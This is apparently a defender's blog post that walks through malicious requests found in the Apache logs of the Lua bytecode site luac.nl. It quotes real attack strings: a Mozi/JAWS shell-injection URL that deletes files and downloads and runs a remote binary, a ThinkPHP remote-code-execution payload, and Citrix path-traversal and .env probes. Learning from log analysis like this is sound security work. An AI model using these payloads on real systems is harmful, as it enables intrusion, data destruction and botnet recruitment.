Learning About Vulnerabilities Through Apache Logs
Introduction
Recently I have released a new simple website at luac.nl. This website is designed to provide Lua (an interpreted programming language) developers with a tool they can use to easily inspect the bytecode that will be produced from the Lua code they write. This might be useful in detecting unoptimized code or in viewing differences in bytecode generation between several Lua versions. The launch of this website generated some interest in Russian and/or Chinese hackers and the web server logs are quite interesting.
The purpose of this article is to remind some people about the fact that every single application / program, service, server, operating system or network can contain vulnerabilities through oversights and mistakes by its developers. Each human makes mistakes, humans make computers tick. Therefore: all software is broken in some way, we might just not know about it yet.
The Apache2 Log Files
Apache2, for people reading this that have no clue what that is, is a software package that allows you to run a web server. This software, by default settings, logs each request received in something called an access log. Apache2 and NGINX are the two most used web server packages out there. Everything that can run a Linux distribution with networking enabled, can run these software packages.
In my configuration, I log a specific subset of all requests to my own database as well. This makes it a bit easier to filter out the anomalies, the requests that were not meant to happen when the luac.nl application was originally developed.
The luac.nl application basically supports two types of requests; GET and POST. The GET requests are allowed on regular assets and on the main index.php file (the main page). The POST requests are only allowed on the API, which has a compile and generate-link action; they expect to receive data from the client-side application. This API is what the application uses to do its work.
Any other type of request to any odd resource is an anomaly, this is where the default logs become interesting (and the logging to the database even more). luac.nl receives a lot of anomalies, often originating from IP addresses in ranges from China or Russia (and a few from Iran, the US right after I block a Chinese IP, etc...) *.
* I'm using the ip2location databases to determine the country associated with an IP address. These databases might not always be up to date, but cross referencing with other sources shows that they often are.
Vulnerability Scanning
Before releasing the website, I've done some extensive vulnerability scans of the application and the hosting solution myself using several methods. One of these methods is OpenVAS (ironically, that website is not on SSL itself). These methods flood the application and the server with all kinds of requests and connections, trying out known security issues with all sorts of software. They use several sources for their information, one of which is CVE Details. Based on all this information, they attempt to detect their presence on a target.
Sometimes detecting a vulnerability is as easy as downloading an image at a certain URL to see if a specific version of some software is present. Other times it actually needs to attempt to implement the vulnerability, by for example trying harmless arbitrary code execution on your application (i.e. echoing something back) to confirm the vulnerability is present.
I was glad to see that my application does not seem to have any of these vulnerabilities, however there still might be a zero-day vulnerability present; one that is not known to the public yet. This is why monitoring your servers is important, they can teach you about those too!
The Requests
The malicious requests that I consider to be anomalies seem to attempt the same, however at a reduced rate and often switching the source of the attack (i.e. different IP addresses, renting VPSes, using proxies).
Some of these anomalies were easily traceable and allowed me to get in touch with the companies performing said requests. These companies had no malicious intent, however were merely scanning the internet for as much possible information on entities online and their implementations. One of these companies is BinaryEdge, a company that scans the internet and gathers data about quite a big spectrum of security issues that exist online.
Others, however, seemed more malicious to begin with. These requests were often sourced from temporary IP addresses (i.e. cheap VPS providers, Chinese and Russian hosting providers or even Dutch hosting providers that probably had no idea what their "customer" was doing). I'm going to list those requests here.
User Agents
A User Agent string is something that is sent to the server to tell the server about what kind of software is performing the request. These user agent strings can, for example, tell the server that Google Chrome, Mozilla Firefox or Microsoft Edge is the one asking for something; however these user agent strings cannot be trusted, as they can be easily spoofed. You can send any user agent string from a script, pretending to be Google Chrome for example.
The attackers often don't seem to care a lot about hiding automation of their attacks. Aside from the well known user agent strings (i.e. Chrome, Firefox, Edge) there is also quite a few requests that yield the cURL or Python's request module user agents;
- python-requests/2.22.0
- PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
- Mozilla/5.0 zgrab/0.x
- ... and more
These indicate automated requests from strings. The first two in the list above, for example, indicate that a script written in the Python language used the requests or PycURL libraries; a preset collection of functions someone can use in their scripts to perform HTTP requests.
An attempt to get a shell
https://luac.nl/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
This one occurred quite a few times in my logs, I have yet to discover what the attempt here was exactly. It appears that the attacker wants to see if /shell exists on the target and if it executes arbitrary code. The code is remarkably malicious, though. Formatted:
cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
It clearly attempts to download a Linux/Unix binary from a local IP address (which is not in my subnet), so this must be a very specific attack. According to Wikipedia:
Mozi was a Chinese philosopher who founded the school of Mohism during the Hundred Schools of Thought period (early portion of the Warring States period of c.475–221 BC). Mozi contains material ascribed to him and his followers.
Further research tells me that this attack is happening all across the internet, as many people have reported on IP addresses producing these requests to their servers. I also found that people have detected this as "JAWS Webserver RCE". Apparently, this might be involved in creating botnets.
JAWS apparently stands for Java AUGUR Web Server, which immediately triggers me. I've seen so many exploits done through Java implementations of the HTTP protocol - it can't be good. Apparently, there was (or still is) a vulnerability in JAWS which allowed for shell execution (i.e. /shell). This vulnerability was used to inject mozi.a or mozi.m into the web server and add a node to the Mozi botnet.
I tried to get my hands on a sample of Mozi.a, however all references I find are currently dead. I would like to have a chance to reverse the binary and see what it is doing internally, even though it's probably a binary with quite a few tricks up its sleeve to prevent easy reversing.
Aside from attempting to download Mozi.a, I've seen similar requests on the unsecured (http without the s) port that tried to download and execute a .j shell script. I assume that inside that shell script, it tries a similar malicious action.
Thankfully, no /shell on my server.
ThinkPHP 5x Remote Code Execution
I've also discovered a PHP (another programming language, mostly used in web-development) system / framework that I have never heard of before; ThinkPHP. There has been an abundance amount of requests to luac.nl regarding this system, as it apparently had quite a big vulnerability people could abuse to gain access to your server:
/TP/html/public/index.php/index.php?s=captcha/elrekt.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP/thinkphp/html/public/index.php- ... and more
All these requests seem to point to the same system and all try to see if it is possible to get remote code execution going on your server. Remote code execution means that they are running their own code on your server, which obviously is bad news.
Judging by the version number I can see on the ThinkPHP website (warning, not https), I'm not quite sure if they have fixed these issues yet. I can also see that ThinkPHP is a Chinese product, so maybe that's why I've never heard of it before.
Interestingly though, there seem to be a lot of points of entry into ThinkPHP's system - I wonder if that is caused deliberately or if the developers behind the product have little to no idea about information security at all. I'm no expert, but it seems like it's letting in all malicious intent without any trouble.
As you can see from the elrekt.php (interesting name, "get rekt?") request, executing arbitrary code is trivial:
call_user_func_array("md5", array("HelloThinkPHP"));
That seems painfully easy to do, which means that any function can be executed easily. It can clearly also be automated, I don't even want to know how many web applications run ThinkPHP.
Trying To Get Environment Variables
A few requests try to get the contents of /.env. I assume, perhaps wrongly, that this file has something to do with the dotenv library. I also assume (dangerous, I know) that dotenv is used in conjunction with a nodejs web server. I would not like to serve that .env file to anyone requesting it, however apparently this happens as well.
There is a lot of unimportant information that could reside in an .env file, however your full database login credentials could also be stored there. With a bit of custom filter searching on Google, you can find a massive result set of these .env files with database login information; just by Googling!
If you're reading this and you run a NodeJS web server, please check if access to your .env file is forbidden.
Trying To Get Access To Citrix ADC And Gateway
Apparently, there is a vulnerability in Citrix ADC that explains requests for the paths /vpn/../vpns/cfg/smb and /vpn/../vpns/ in my logs. This vulnerability allows for remote arbitrary code execution, so it might be wise to read up on it (CVE-2019-19781).
As the linked article reads, at the moment of writing (January 10th, 2020) there was no patch available yet - however there are mitigations available you should definitely check out if this affects you.
Writing this article took me a couple of days, and after the 10th of January there was quite a bit of news about this vulnerability in Dutch media. Citrix is is used quite a lot in government, health, education and enterprise companies in The Netherlands. Apparently, all these companies missed the big red-flag when Citrix announced this problem on December 17th with possible mitigations.
What worries me now is that, if a website like luac.nl is probed for this vulnerability; how many of those institutions and companies have been probed (and successfully attacked) right now?
Attempted Proxy Requests
I've also noticed quite a few erroneous requests that seem to attempt to use luac.nl as a proxy server. These requests often try to GET, HEAD or CONNECT resources that do not exist on my server:
GET http://5.188.210.101CONNECT cn.bing.com:443GET http://boxun.com/HEAD http://123.125.114.1
A proxy web server is a server that allows a client to request a website through that proxy server, instead of accessing it directly. To the loaded website, it would look as if luac.nl performed the request (as it did) while someone else got the response. This is why it is not enabled by default and only enabled in specific use-cases that require a proxy.
In my view, these are meant to tell the attacker if my web server instance has a proxy module enabled - or to see that it arbitrarily loads any requested URL as a resource. This could be harmful, considering malicious requests could then be done through your server - possibly making it part of a network of bots doing exactly what is happening here.
phpMyAdmin
phpMyAdmin is an application you can run on your web server to enable remote database management for MySQL databases. It allows you to view data, create databases, manage tables in those databases and much more.
It appears that a large list of possible locations for phpMyAdmin have been tried against my server. There is a 404 in my logs for each and every one of them. They probably try to find the installation of phpMyAdmin to detect its version and see if it is vulnerable. This is also a very dangerous one, as vulnerable instances might allow the attacker to steal data from your database. This, in turn, could possible leak personal information about users and their login information for example. If you have a modern implementation for your authentication, them looking inside your user tables would probably not give them access to any of the accounts, though.
Detecting Standard Applications
In that large list of requests that tried detecting phpMyAdmin, there were a lot of other attempts from the same IP address for some standard applications, including:
/joomla/(we all know Joomla, don't we?)/ecmsmod.php(eCMS, I've never heard of it)/secure/ContactAdmin(Jira)/weaver/bsh.servlet.(BshServlet)/solr/(Apache Solr)/wp-includes/modules(WordPress)/laobiao.php(No Idea)/plus/qiang.php(No Idea)- ... Many More
All these requests seem to come from a large predetermined list used in some vulnerability scanning tool set. I'm not the only target, obviously.
Yealink SIP VoIP
Judging by an attempt to download certain filenames, the attacker executing these requests wants to find out if luac.nl is running Yealink devices that are exposed. The bot attempts to access any of the common configuration files. There seem to be a lot of vulnerabilities when I search for Yealink on CVE Details - here's a few of the filenames that were attempted:
- /y000000000065.cfg
- /y000000000068.cfg
- /y000000000009.cfg
- /Yealink/y000000000000.cfg
- /WebItemsLevel.cfg
- /provisioning/yealink/y000000000034.cfg
- /Yealink/WebItemsLevel.cfg
- ... and more in the same pattern
Conclusion
That rounds up my initial analysis of the logs of the first month after luac.nl was released. I could keep on going forever, as there are many more anomalies in my logs, but that would make this article even more messy than it already is. I have decided that I will soon create a page on the website listing all malicious requests, with a short explanation regarding the potential hazards.
For now, thanks for reading up to this point. This only covered a single web server on the vast internet. As you probably know, there is so much more happening on the internet than just web traffic. If you manage an online application, any only services or any online networks; check your logs, monitor your traffic and watch all open connections regularly. Use software packages that help you do this, but don't blindly trust them; those could also contain mistakes.
Stay secure.